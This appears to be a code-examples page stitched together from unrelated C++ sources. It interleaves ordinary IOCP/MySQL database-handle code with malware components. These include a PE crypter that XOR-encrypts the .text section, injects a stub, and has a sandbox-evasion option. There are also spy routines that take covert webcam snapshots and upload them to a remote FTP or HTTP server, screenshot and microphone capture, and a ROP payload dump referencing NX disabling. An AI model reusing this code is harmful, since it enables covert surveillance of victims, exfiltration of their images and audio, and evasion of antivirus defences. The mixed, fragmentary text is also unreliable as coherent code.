Example #1
0
bool CDBManager::DisconnectEx(CDBHandle *param)
{
	if (NULL == param)
	{
		MYPRINTF("The DBHandle of parameter in QueryEx of CDBManager is NULL!\n");
		return false;
	}

	if (CDBIdle::Instance() != param->stateMachine.CurrentState())
	{
		MYPRINTF("If you wish to use this DisconnectEx function, this DB handle must be in the idle state\n");
		return false;
	}

	CDBAct *tmpAct = &param->acts[CDBHandle::DB_ACK_TYPE::DISCONNECT];
	tmpAct->dbHandle = param;

	if (NULL == tmpAct)
	{
		MYPRINTF("The act of parameter in DisconnectEx of CDBManager is NULL!\n");
		return false;
	}

	PostQueuedCompletionStatus(proactor.iocp, NULL, NULL, static_cast<OVERLAPPED*>(tmpAct));

	return true;
}
Example #2
0
bool CDBConnector::EventProc(CAct *act, DWORD receivedBytes)
{
	CDBAct *dbAct = (CDBAct*)act;

	CDBHandle &dbHandle = *(CDBHandle*)dbAct->dbHandle;

	CDBManager &dbManager = CDBManager::GetInstance();

	CGlobalManager &globalManager = CGlobalManager::GetInstance();

	//--------------------------------------

	// DB initializing
	mysql_init(&dbHandle.connTmp);
	
	// DB connecting
	dbHandle.dbConnection = mysql_real_connect(&dbHandle.connTmp, dbHandle.dbHost.c_str(), dbHandle.dbUser.c_str()
		, dbHandle.dbPasswd.c_str(), dbHandle.dbSchema.c_str(), globalManager.dbPort, (char *)NULL, 0);

	if (NULL == dbHandle.dbConnection)
	{
		MYPRINTF(mysql_error(&dbHandle.connTmp));
		MYERRORPRINTF("mysql_real_connect");
		return false;
	}

	//--------------------------------------

	dbHandle.stateMachine.ChangeState(CDBIdle::Instance());

	return true;
}
PIMAGE_SECTION_HEADER Crypter::insertSectionHeader(PVOID pvPEBase, LPCSTR lpName, DWORD dwVirtualSize, DWORD dwCharacteristics, PDWORD pdwSize){
	if (strlen(lpName) > 7) {
		MYPRINTF("strlen(lpName) > 7\n");
		return NULL;
	}

	if (Crypter::freeSpaceInHeader(pvPEBase) < IMAGE_SIZEOF_SECTION_HEADER) {
		MYPRINTF("freeSpaceInHeader\n");
		return NULL;
	}

	PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvPEBase);
	if (!pNtHeaders) {
		MYPRINTF("!pNtHeaders\n");
		return NULL;
	}

	DWORD dwSizeOfRawData = ALIGN_UP(dwVirtualSize, pNtHeaders->OptionalHeader.FileAlignment);
	dwVirtualSize = ALIGN_UP(dwVirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);

	PIMAGE_SECTION_HEADER pNewSection = (PIMAGE_SECTION_HEADER)malloc(IMAGE_SIZEOF_SECTION_HEADER);
	if (!pNewSection) {
		MYPRINTF("!pNewSection\n");
		return NULL;
	}

	memset( pNewSection, 0, IMAGE_SIZEOF_SECTION_HEADER);
	memcpy((PVOID)(&pNewSection->Name), (PVOID)lpName, strlen(lpName));
	pNewSection->Characteristics = dwCharacteristics;
	pNewSection->Misc.VirtualSize = dwVirtualSize;
	pNewSection->SizeOfRawData = dwSizeOfRawData;

	PIMAGE_SECTION_HEADER pVirtualLastSection = Crypter::getVirtualyLastSectionHeader(pNtHeaders);
	pNewSection->VirtualAddress = pVirtualLastSection->VirtualAddress + ALIGN_UP(pVirtualLastSection->Misc.VirtualSize,pNtHeaders->OptionalHeader.SectionAlignment);	

	if (dwSizeOfRawData){ 
		PIMAGE_SECTION_HEADER pLastSection = Crypter::getPhysicalyLastSectionHeader(pNtHeaders);

		pNewSection->PointerToRawData = pLastSection->PointerToRawData + ALIGN_UP(pLastSection->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);
	}

	*pdwSize = dwVirtualSize;

	return pNewSection;
}
BOOL Crypter::insertSectionConfigInPE(PVOID pvPEBase,DWORD dwPESize,PVOID pvData,DWORD dwDataSize,PVOID *ppvNewPE,DWORD *pdwNewPESize){
	BOOL bRet = FALSE;
	PIMAGE_SECTION_HEADER pNewSection;
	DWORD dwSize;
	if (pNewSection = Crypter::insertSectionHeader( pvPEBase, Crypter::section, dwDataSize, IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ,&dwSize)){
		PVOID pvNewPE;
		DWORD dwNewPESize = pNewSection->PointerToRawData + pNewSection->SizeOfRawData;

		if (pvNewPE = malloc(dwNewPESize)){
			memcpy(pvNewPE, pvPEBase, dwPESize);

			PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvNewPE);

			++(pNtHeaders->FileHeader.NumberOfSections);

			PIMAGE_SECTION_HEADER pVirtualLastSection = Crypter::getVirtualyLastSectionHeader(pNtHeaders);
			pVirtualLastSection[0] = *pNewSection;

			pNtHeaders->OptionalHeader.SizeOfImage += dwSize;

			memcpy((PVOID)((DWORD)pvNewPE + pNewSection->PointerToRawData),pvData,dwDataSize);

			DWORD dwHeaderSum, dwCheckSum;

			if (CheckSumMappedFile(pvNewPE,dwNewPESize,&dwHeaderSum,&dwCheckSum)){
				pNtHeaders->OptionalHeader.CheckSum = dwCheckSum;

				*ppvNewPE = pvNewPE;
				*pdwNewPESize = dwNewPESize;

				bRet = TRUE;
			}

			if (!bRet) free(pvNewPE);
		} else {
			MYPRINTF(" malloc(dwNewPESize)\n");
		}

		free(pNewSection);
	} else {
		MYPRINTF("!insertSectionHeader\n");
	}
	return bRet;
}
Example #5
0
bool CDBManager::QueryEx(std::string &str, CLoginSocket &sock)
{
	if ("" == str)
	{
		MYPRINTF("The string pointer of parameter in QueryEx of CDBManager is NULL!\n");
		return false;
	}

	CDBHandle *dbHandle = GetAvailableHandle();

	if (NULL == dbHandle)
	{
		MYPRINTF("There isn't even a handle which can deal with your query !!!\n");
		return false;
	}

	if (CDBIdle::Instance() != dbHandle->stateMachine.CurrentState())
	{
		MYPRINTF("The available DB handle is not in idle state !\n");
		return false;
	}

	dbHandle->queryStr = str;
	CDBAct *tmpAct = &dbHandle->acts[CDBHandle::DB_ACK_TYPE::QUERY];
	tmpAct->dbHandle = dbHandle;

	if (NULL == tmpAct)
	{
		MYPRINTF("The act of handle in QueryEx of CDBManager is NULL!\n");
		return false;
	}

	dbHandle->loginSock = &sock;

	dbHandle->stateMachine.ChangeState(CDBWaitResult::Instance());

	PostQueuedCompletionStatus(proactor.iocp, NULL, NULL, static_cast<OVERLAPPED*>(tmpAct));

	return true;
}
Example #6
0
// You must call the ReleaseHandle function after you have used the handle off !
CDBHandle *CDBManager::GetAvailableHandle()
{
	CDBHandle *choosedDBHandle = NULL;

	DWORD result = WaitForSingleObject(dbHandleSema, WAIT_AVAILABLE_HANDLE_TIME);

	if (WAIT_FAILED == result)
	{
		MYERRORPRINTF("WaitForSingleObject");
		return false;
	}
	else if (WAIT_TIMEOUT == result)
	{
		MYPRINTF("There is no available DB handle !\n");
		return NULL;
	}
	else if (WAIT_OBJECT_0 == result)
	{
		choosedDBHandle = dbHandles.front();
		dbHandles.pop();

		if (NULL == choosedDBHandle)
		{
			MYPRINTF("The DB handles' queue is empty !\n");
			return NULL;
		}

		if (CDBIdle::Instance() == choosedDBHandle->stateMachine.CurrentState())
		{
			return choosedDBHandle;
		}

		MYERRORPRINTF("The available handle's state is not the idle state !\n");
		return NULL;
	}

	MYPRINTF("There isn't any DBHandle !\n");
	return NULL;
}
Example #7
0
bool CDBManager::ReleaseHandle(CDBHandle *param)
{
	if (NULL == param)
	{
		MYPRINTF("Error : The parameter of ReleaseHandle is NULL !\n");
		return false;
	}

	if (CDBIdle::Instance() == param->stateMachine.CurrentState())
	{
		MYPRINTF("Error : The DB Handle is already available !\n");
		return false;
	}

	if (!ReleaseSemaphore(dbHandleSema, 1, NULL))
	{
		MYERRORPRINTF("ReleaseSemaphore");
		return false;
	}

	dbHandles.push(param);

	return true;
}
Example #8
0
bool CAcceptor::EventProc(CAct *act, DWORD receivedBytes)
{
	CLoginAct &tmpAct = *(CLoginAct*)act;

	CLoginSocket &tmpSocket = *tmpAct.loginSocket;

	CLoginManager &loginManager = CLoginManager::GetInstance();

	loginManager.proactor.Register((HANDLE)tmpSocket.sock);
	
	// You must change the state before receive the header !!!
	tmpSocket.stateMachine.ChangeState(CWaitHeader::Instance());
	tmpSocket.Recv(tmpSocket.recvBuf, HEADER_SIZE);

	MYPRINTF("ACCEPTED");

	return true;
}
// outType = 1 : console, 2: file, 3: buffer
bool Screen::takeScreenshot(const int outType, const char *filename, char **buffer, DWORD &size) {
    if (outType < 1 || outType > 3) {
        return false;
    }
    bool result = false;
    HBITMAP handleBitmapScreen = 0;
    HDC handleMemoryDC = 0;
    HWND  hWnd = 0;
    HDC handleDeviceContextOfWindow = 0;


    // open the WinSta0 as some services are attached to a different window station.
    HWINSTA hWindowStation = hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
    if( !hWindowStation )
    {
        if( RevertToSelf() )
            hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
    }

    // if we cant open the defaut input station we wont be able to take a screenshot
    if( !hWindowStation ) {
        MYPRINTF( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station");
        return false;
    }

    // get the current process's window station so we can restore it later on.
    HWINSTA hOrigWindowStation = GetProcessWindowStation();

    // set the host process's window station to this sessions default input station we opened
    if( !SetProcessWindowStation( hWindowStation ) ) {
        MYPRINTF( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
        return false;
    }

    // grab a handle to the default input desktop (e.g. Default or WinLogon)

    //HDESK hInputDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED );
    HDESK hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
    if( !hInputDesktop ) {
        MYPRINTF( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );
        return false;
    }
    //if (SwitchDesktop(hInputDesktop) == 0){
    //	MYPRINTF( "[SCREENSHOT] screenshot: SwitchDesktop failed" );
    //	return false;
    //}
    // get the threads current desktop so we can restore it later on
    HDESK hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );

    // set this threads desktop to that of this sessions default input desktop on WinSta0
    SetThreadDesktop( hInputDesktop );

    // and now we can grab a handle to this input desktop
    HWND hDesktopWnd = GetDesktopWindow();



    int screenWidth = GetSystemMetrics (SM_CXSCREEN);
    int screenHeight = GetSystemMetrics (SM_CYSCREEN);
    MYPRINTF("width: %d, height: %d\n", screenWidth, screenHeight);
    // Retrieve the handle to a display device context for the client
    // area of the window.
    HDC handleDeviceContextOfScreen = GetDC(hDesktopWnd);
    //HDC handleDeviceContextOfScreen = CreateDC("DISPLAY",NULL,NULL,NULL);
    if (handleDeviceContextOfScreen == 0) {
        MYPRINTF("GetDC(0) has failed: %d", GetLastError());
        goto done;
    }

    if (outType == 1) { // print to console
        //The source DC is the entire screen and the destination DC is the current window (HWND)
        // Get the client area for size calculation
        HWND  hWnd = GetForegroundWindow();

        HDC handleDeviceContextOfWindow = GetDC(hWnd);
        if (handleDeviceContextOfScreen == 0) {
            MYPRINTF("GetDC(hWnd) has failed: %d", GetLastError());
            goto done;
        }
        RECT rcClient;
        GetClientRect(hWnd, &rcClient);

        //This is the best stretch mode
        SetStretchBltMode(handleDeviceContextOfWindow, HALFTONE);

        if(!StretchBlt(handleDeviceContextOfWindow,
                       0,0,
                       rcClient.right, rcClient.bottom,
                       handleDeviceContextOfScreen,
                       0,0,
                       screenWidth,
                       screenHeight,
                       SRCCOPY))
        {
            MYPRINTF("StretchBlt has failed: %d", GetLastError());
            goto done;
        }
        result = true;
    } else {
        // Create a compatible DC which is used in a BitBlt from the window DC
        handleMemoryDC = CreateCompatibleDC(handleDeviceContextOfScreen);
        if(!handleMemoryDC) {
            MYPRINTF("CreateCompatibleDC has failed: %d", GetLastError());
            goto done;
        }
        BITMAPINFO		bmpinfo;
        ZeroMemory(&bmpinfo,sizeof(bmpinfo));
        LONG dwWidth = GetDeviceCaps(handleDeviceContextOfScreen, HORZRES);
        LONG dwHeight = GetDeviceCaps(handleDeviceContextOfScreen, VERTRES);
        //dwBPP = GetDeviceCaps(hScreen, BITSPIXEL);
        LONG dwBPP = 24;
        LONG dwNumColors = GetDeviceCaps(handleDeviceContextOfScreen, NUMCOLORS);
        LPVOID			pBits;
        bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
        bmpinfo.bmiHeader.biWidth = dwWidth;
        bmpinfo.bmiHeader.biHeight = dwHeight;
        bmpinfo.bmiHeader.biPlanes = 1;
        bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP;
        bmpinfo.bmiHeader.biCompression = BI_RGB;
        bmpinfo.bmiHeader.biSizeImage = 0;
        bmpinfo.bmiHeader.biXPelsPerMeter = 0;
        bmpinfo.bmiHeader.biYPelsPerMeter = 0;
        bmpinfo.bmiHeader.biClrUsed = dwNumColors;
        bmpinfo.bmiHeader.biClrImportant = dwNumColors;
        handleBitmapScreen = CreateDIBSection(handleDeviceContextOfScreen, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0);

        /**
        // Create a compatible bitmap from the Window DC
        handleBitmapScreen = CreateCompatibleBitmap(handleDeviceContextOfScreen, screenWidth, screenHeight);
        if(!handleBitmapScreen) {
        	MYPRINTF("CreateCompatibleBitmap Failed: %d", GetLastError());
        	goto done;
        }
        */
        // Select the compatible bitmap into the compatible memory DC.
        if (SelectObject(handleMemoryDC, handleBitmapScreen) == 0) {
            MYPRINTF("SelectObject Failed: %d", GetLastError());
            goto done;
        }

        // Bit block transfer into our compatible memory DC.
        if(!BitBlt(handleMemoryDC,
                   0, 0,
                   screenWidth, screenHeight,
                   handleDeviceContextOfScreen,
                   0, 0,
                   SRCCOPY)) {
            MYPRINTF("BitBlt has failed: %d", GetLastError());
            goto done;
        }
        BITMAP bmpScreen;
        // Get the BITMAP from the HBITMAP
        if (GetObject(handleBitmapScreen, sizeof(BITMAP), &bmpScreen) == 0) {
            MYPRINTF("GetObject has failed: %d", GetLastError());
            goto done;
        }

        BITMAPFILEHEADER   bmfHeader;
        BITMAPINFOHEADER   bi;

        bi.biSize = sizeof(BITMAPINFOHEADER);
        bi.biWidth = bmpScreen.bmWidth;
        bi.biHeight = bmpScreen.bmHeight;
        bi.biPlanes = 1;
        bi.biBitCount = 32;
        bi.biCompression = BI_RGB;
        bi.biSizeImage = 0;
        bi.biXPelsPerMeter = 0;
        bi.biYPelsPerMeter = 0;
        bi.biClrUsed = 0;
        bi.biClrImportant = 0;

        DWORD dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight;

        HANDLE hData = GlobalAlloc(GHND,dwBmpSize);
        char *bmpdata = (char *)GlobalLock(hData);

        // Starting with 32-bit Windows, GlobalAlloc and LocalAlloc are implemented as wrapper functions that
        // call HeapAlloc using a handle to the process's default heap. Therefore, GlobalAlloc and LocalAlloc
        // have greater overhead than HeapAlloc.
        HANDLE hDIB = GlobalAlloc(GHND,dwBmpSize);
        char *lpbitmap = (char *)GlobalLock(hDIB);

        // Gets the "bits" from the bitmap and copies them into a buffer
        // which is pointed to by lpbitmap.
        //GetDIBits(handleDeviceContextOfWindow, handleBitmapScreen, 0,
        GetDIBits(handleDeviceContextOfScreen, handleBitmapScreen, 0,
                  (UINT)bmpScreen.bmHeight,
                  lpbitmap,
                  (BITMAPINFO *)&bi, DIB_RGB_COLORS);

        // Add the size of the headers to the size of the bitmap to get the total file size
        DWORD dwSizeofDIB = dwBmpSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

        //Offset to where the actual bitmap bits start.
        bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER);

        //Size of the file
        bmfHeader.bfSize = dwSizeofDIB;

        //bfType must always be BM for Bitmaps
        bmfHeader.bfType = 0x4D42; //BM

        DWORD dwBytesWritten = 0;


        UINT mybmpsize = dwBmpSize + sizeof(bi) + sizeof(bmfHeader);


        // put headers together to make a .bmp in memory
        memcpy(bmpdata, &bmfHeader, sizeof(bmfHeader));
        memcpy(bmpdata + sizeof(bmfHeader), &bi, sizeof(bi));
        memcpy(bmpdata + sizeof(bmfHeader) + sizeof(bi), lpbitmap, dwBmpSize);

        if (outType == 2) {
            // Now convert to JPEG
            if (bmp2jpegtofile((PBYTE)bmpdata, 70, filename ) == 0) {
                MYPRINTF("unable to write jpg");
            } else {
                result = true;
            }
        } else {
            if (bmp2jpegtomemory((PBYTE)bmpdata, 70, (BYTE **)buffer, &size) == 0) {
                MYPRINTF("unable to write jpg");
            } else {
                result = true;
            }
        }

        //Unlock and Free the DIB from the heap
        GlobalUnlock(hDIB);
        GlobalFree(hDIB);

        GlobalUnlock(hData);
        GlobalFree(hData);

    }
    //Clean up
done:
    // restore the origional process's window station
    if( hOrigWindowStation )
        SetProcessWindowStation( hOrigWindowStation );

    // restore the threads origional desktop
    if( hOrigDesktop )
        SetThreadDesktop( hOrigDesktop );

    // close the WinSta0 window station handle we opened
    if( hWindowStation )
        CloseWindowStation( hWindowStation );

    // close this last to avoid a handle leak...
    if( hInputDesktop )
        CloseDesktop( hInputDesktop );

    DeleteObject(handleBitmapScreen);
    DeleteObject(handleMemoryDC);
    ReleaseDC(NULL,handleDeviceContextOfScreen);
    ReleaseDC(hWnd,handleDeviceContextOfWindow);

    return result;

}
		void Payload::showRop(unsigned char* payload){
			MYPRINTF( "\n\t\tscratch\n");
			MYPRINTF( "\t\t%02X", payload[533]);
			MYPRINTF( "%02X", payload[532]);
			MYPRINTF( "%02X", payload[531]);
			MYPRINTF( "%02X", payload[530]);

			MYPRINTF( "\n\t\tdisablenx\n");
			MYPRINTF( "\t\t%02X", payload[537]);
			MYPRINTF( "%02X", payload[536]);
			MYPRINTF( "%02X", payload[535]);
			MYPRINTF( "%02X", payload[534]);

			MYPRINTF( "\n\t\tret\n");
			MYPRINTF( "\t\t%02X", payload[545]);
			MYPRINTF( "%02X", payload[544]);
			MYPRINTF( "%02X", payload[543]);
			MYPRINTF( "%02X", payload[542]);

			MYPRINTF( "\n");
		}
bool SoundRecorder::record(int lengthTime, unsigned char **buffer, int& size){
	HWAVEIN microHandle;
    WAVEHDR waveHeader;

    const int numpts = m_sampleRate * lengthTime;
    short int *waveIn = new short int[numpts];   // 'short int' is a 16-bit type; I request 16-bit samples below
												// for 8-bit capture, you'd use 'unsigned char' or 'BYTE' 8-bit types
    MMRESULT result = 0;

    WAVEFORMATEX format;
    format.wFormatTag = WAVE_FORMAT_PCM;      // simple, uncompressed format
    format.wBitsPerSample = m_bitsPerSample;                //  16 for high quality, 8 for telephone-grade
    format.nChannels = m_nbChannels;                     //  1=mono, 2=stereo
    format.nSamplesPerSec = m_sampleRate;
    format.nAvgBytesPerSec = format.nSamplesPerSec * format.nChannels * format.wBitsPerSample / 8;
                                            // = nSamplesPerSec * n.Channels * wBitsPerSample/8
    format.nBlockAlign = format.nChannels * format.wBitsPerSample / 8;                    
                                            // = n.Channels * wBitsPerSample/8
    format.cbSize = 0;// Size, in bytes, of extra format information

    result = waveInOpen(&microHandle, WAVE_MAPPER, &format, 0L, 0L, WAVE_FORMAT_DIRECT);
    if (result) {
        MYPRINTF("waveInOpen failed\n");
        return false; 
    }

    // Set up and prepare header for input
    waveHeader.lpData = (LPSTR)waveIn;
    waveHeader.dwBufferLength = numpts * 2;
    waveHeader.dwBytesRecorded = 0;
    waveHeader.dwUser = 0L;
    waveHeader.dwFlags = 0L;
    waveHeader.dwLoops = 0L;
    waveInPrepareHeader(microHandle, &waveHeader, sizeof(WAVEHDR));

    // Insert a wave input buffer
    result = waveInAddBuffer(microHandle, &waveHeader, sizeof(WAVEHDR));
    if (result) {
        MYPRINTF("waveInAddBuffer failed\n");
        return false; 
    }

    result = waveInStart(microHandle);
    if (result) {
        MYPRINTF("waveInStart failed\n");
        return false; 
    }

     // Wait until finished recording
     do {
		Sleep(1000);
	 } while (waveInUnprepareHeader(microHandle, &waveHeader, sizeof(WAVEHDR)) == WAVERR_STILLPLAYING);
	 
	int chunksize, pcmsize, numSamples, subchunk1size;
	int audioFormat = WAVE_FORMAT_PCM;
		
	numSamples = ((long) (numpts / m_sampleRate) * 1000);
	pcmsize = sizeof(PCMWAVEFORMAT);
		
	subchunk1size = 16;
	int byteRate = m_sampleRate * m_nbChannels * m_bitsPerSample / 8;
	int blockAlign = m_nbChannels * m_bitsPerSample / 8;
	int subchunk2size = waveHeader.dwBufferLength * m_nbChannels;
	chunksize = (36 + subchunk2size);

	*buffer = new unsigned char[44 + waveHeader.dwBufferLength];
	size = 44 + waveHeader.dwBufferLength;

	(*buffer)[0] = 'R';
	(*buffer)[1] = 'I';
	(*buffer)[2] = 'F';
	(*buffer)[3] = 'F';

	memcpy(&(*buffer)[4], &chunksize, 4);

	(*buffer)[8] = 'W';
	(*buffer)[9] = 'A';
	(*buffer)[10] = 'V';
	(*buffer)[11] = 'E';

	(*buffer)[12] = 'f';
	(*buffer)[13] = 'm';
	(*buffer)[14] = 't';
	(*buffer)[15] = ' ';

	memcpy(&(*buffer)[16], &subchunk1size, 4);

	memcpy(&(*buffer)[20], &audioFormat, 2);

	memcpy(&(*buffer)[22], &m_nbChannels, 2);

	memcpy(&(*buffer)[24], &m_sampleRate, 4);

	memcpy(&(*buffer)[28], &byteRate, 4);

	memcpy(&(*buffer)[32], &blockAlign, 2);

	memcpy(&(*buffer)[34], &m_bitsPerSample, 2);

	(*buffer)[36] = 'd';
	(*buffer)[37] = 'a';
	(*buffer)[38] = 't';
	(*buffer)[39] = 'a';

	memcpy(&(*buffer)[40], &subchunk2size, 4);

	memcpy(&(*buffer)[44], waveHeader.lpData, waveHeader.dwBufferLength);

	Print::printBufferAsHexa(*buffer, 44);

     waveInClose(microHandle);

	 delete waveIn;

	 return true;
}
void Spy::start(){
	m_start = true;

	XWebcam webcam;
	int webcamCount = webcam.webcamCount();
	if (webcamCount == 0){
		return;
	}

	while(!Icmp::ping("8.8.8.8")){
		MYPRINTF("no internet ? wait\n");
		Sleep(60000);
	}

	TCHAR* path = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\");
	TCHAR* key = TEXT("Index");

	Register reg;

	int value = reg.getKeyAsInt(path, key, 0);
	if (value == 0){
		reg.createStringKey(HKEY_CURRENT_USER, path, key, TEXT("1"));
		value = 1;
	}
	
	while(m_start) {
		//for (int i = 0; i < webcamCount; i++){
			if (webcam.snapMotionDetection(m_locale.c_str(), 1, m_detail)){
				if (value > m_maxImg){
					value = 1;
				}
				std::tstring name;

				name.append(m_remote);

				TCHAR buffer [33];
				_itot(value, buffer, 10);

				name.append(buffer);
				name.append(TEXT(".jpg"));

				TCHAR buffer2 [33];
				_itot(value, buffer2, 10);

				value++;

				reg.createStringKey(HKEY_CURRENT_USER, path, key, buffer2);

				try {
					Ftp ftp(m_url, 21, m_ftpUser, m_ftpPassword);

					ftp.setCurrentDirectory(TEXT("public_html"));

					//char buffer_dir[128];
					//if (webcamCount != 1){					
					//	sprintf_s(buffer_dir, COUNTOF(buffer_dir), "%s_%d", m_ftpDirectory.c_str(), i + 1);
					//} else {
					//	sprintf_s(buffer_dir, COUNTOF(buffer_dir), "%s", m_ftpDirectory.c_str());
					//}

					try {
						ftp.createDirectory(m_ftpDirectory);
					} catch (std::exception error){
						//MYPRINTF("%s\n", error.what());
					}
					ftp.setCurrentDirectory(m_ftpDirectory);

					ftp.uploadFile(m_locale.c_str(), name.c_str());

				} catch (std::exception error){
					MYPRINTF("exception: %s\n", error.what());
				}
			//}
		}
		Sleep(m_wait);
		m_start = RUNNING;
	}
}
void Spy::startmemory(){
	m_start = true;

	XWebcam webcam;
	int webcamCount = webcam.webcamCount();
	if (webcamCount == 0){
		MYPRINTF("no webcam\n");
		return;
	}

	while(!Icmp::ping("8.8.8.8")){
		MYPRINTF("no internet ? wait\n");
		Sleep(60000);
	}

	TCHAR* path = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\");
	TCHAR* key = TEXT("Index");

	Register reg;

	int index = reg.getKeyAsInt(path, key, 0);
	if (index == 0){
		reg.createStringKey(HKEY_CURRENT_USER, path, key, TEXT("1"));
		index = 1;
	}

	DWORD serialAsInt;
	if (!Info::getUniqueId(serialAsInt)) {
		serialAsInt = 156000;
	}
	char *memory;
	DWORD size;
	while(m_start) {
		//for (int j = 0; j < 5; j++){
			if (webcam.snapMotionDetectionToMemory(&memory, size, 1, m_detail)){
				if (index > m_maxImg){
					index = 1;
				}
				std::tstring remoteName;

				remoteName.append(m_remote);

				TCHAR indexAsStr [33];
				_itot(index, indexAsStr, 10);

				remoteName.append(indexAsStr);
				remoteName.append(TEXT(".jpg"));

				HttpHelper helper;

				char *response = 0;
				int responseSize = 0;

				char newUri[1024];
				sprintf_s(newUri, 1024, "%s?v=2&s=%u", m_url, serialAsInt);
				if (helper.uploadBuffer(m_server, newUri, (char *)memory, size, (TCHAR *)remoteName.c_str(), &response, responseSize)){
					free(response);
					index++;

					TCHAR newIndexAsStr [33];
					_itot(index, newIndexAsStr, 10);
					reg.createStringKey(HKEY_CURRENT_USER, path, key, newIndexAsStr);
				}	
				free(memory);
			//}
		}
		Sleep(m_wait);
		m_start = RUNNING;
	}
}
bool Crypter::crypt(const char *infile, const char *outfile){
	// variables

	DWORD dwOldProt, bytes;

	// open it and get the size
	HANDLE hFile = CreateFile(infile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
	if (!hFile){
		MYPRINTF("Unable to open file\n");
		return false;
	}
	DWORD dwFileSize = GetFileSize(hFile, 0);

	// load in memory
	LPBYTE fileBuffer = (LPBYTE) malloc(dwFileSize);
	ReadFile(hFile, fileBuffer, dwFileSize, &bytes, 0);

	CloseHandle(hFile);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER) fileBuffer;
	// check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid
	if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		MYPRINTF("IMAGE_DOS_SIGNATURE\n");
		return false;
	}

	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS) (fileBuffer + dosHeader->e_lfanew);
	if(ntHeaders->Signature != IMAGE_NT_SIGNATURE){
		MYPRINTF("IMAGE_NT_SIGNATURE\n");
		return false;
	}


	PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer);
#define TEXT_SECTION ".text"
	while(memcmp(sectionHeader->Name, TEXT_SECTION, strlen(TEXT_SECTION))) // get the ".text" section header
		sectionHeader++;

	DWORD dwVSize                  = sectionHeader->Misc.VirtualSize; // the virtual size of the section, later this will be used as chunksize in our stub, after proper alignment
	DWORD dwSectionSize    = sectionHeader->SizeOfRawData; // speaks for itself
	DWORD dwStubSize; // the stubsize, in bytes
	if (Crypter::evadeSandbox){
		dwStubSize               = (DWORD) _end_evade_sandbox - (DWORD) _xor_block_evade_sandbox; // the stubsize, in bytes
	} else {
		dwStubSize               = (DWORD) _end - (DWORD) _xor_block; // the stubsize, in bytes
	}

	LPBYTE sectionBuffer = (LPBYTE) malloc(dwSectionSize); // allocate memory enough to hold our raw section data
	memcpy(sectionBuffer, fileBuffer + sectionHeader->PointerToRawData, dwSectionSize); // ... copy the data

	_xor_chunk(sectionBuffer, dwSectionSize, 256); // aaand encrypt it! you can use different block sizes here - 8, 16, 32, 64, 128, 256, 512...
	memset(sectionBuffer + sectionHeader->Misc.VirtualSize, 0, (dwSectionSize - sectionHeader->Misc.VirtualSize)); // fill with zeros after the end of actual data
	// copy back the data
	memcpy(fileBuffer + sectionHeader->PointerToRawData, sectionBuffer, dwSectionSize); // ... copy the data
	free(sectionBuffer);

	DWORD oep = ntHeaders->OptionalHeader.AddressOfEntryPoint + ntHeaders->OptionalHeader.ImageBase; // the original entry point, this is a linear address
	DWORD seg = sectionHeader->VirtualAddress + ntHeaders->OptionalHeader.ImageBase; // the section address, you guessed right, this too is a linear one
	DWORD bsz = 256; // you know what this is

	while(dwVSize % bsz) // we need to align it to block size
		dwVSize++;

	if (Crypter::evadeSandbox){
		VirtualProtect(_xor_block_evade_sandbox, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub...
	} else {
		VirtualProtect(_xor_block, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub...
	}

	// and update it, blah, blah, blah...
	if (Crypter::evadeSandbox){
		memcpy((void *)((unsigned long) _stub_evade_sandbox + OEP_o), &oep, 4);
		memcpy((void *)((unsigned long) _stub_evade_sandbox + SEG_o), &seg, 4);
		memcpy((void *)((unsigned long) _stub_evade_sandbox + BSZ_o), &bsz, 4);
		memcpy((void *)((unsigned long) _stub_evade_sandbox +  SZ_o), &dwVSize, 4);
	} else {
		memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4);
		memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4);
		memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4);
		memcpy((void *)((unsigned long) _stub +  SZ_o), &dwVSize, 4);
	}

	
	Crypter::section = new char [6];
	Random::createRandomName(COUNTOF(Crypter::section), Crypter::section);
	char* resDll;
	DWORD szResDll;
	if (Crypter::evadeSandbox){
		if (!Crypter::insertSectionConfigInPE(fileBuffer, dwFileSize, _xor_block_evade_sandbox, dwStubSize + sizeof(int), (PVOID*)(&resDll), &szResDll )){
			MYPRINTF("problem with injection\n");
			delete Crypter::section;
			return false;
		}	
	} else {
		if (!Crypter::insertSectionConfigInPE(fileBuffer, dwFileSize, _xor_block, dwStubSize + sizeof(int), (PVOID*)(&resDll), &szResDll )){
			MYPRINTF("problem with injection\n");
			delete Crypter::section;
			return false;
		}
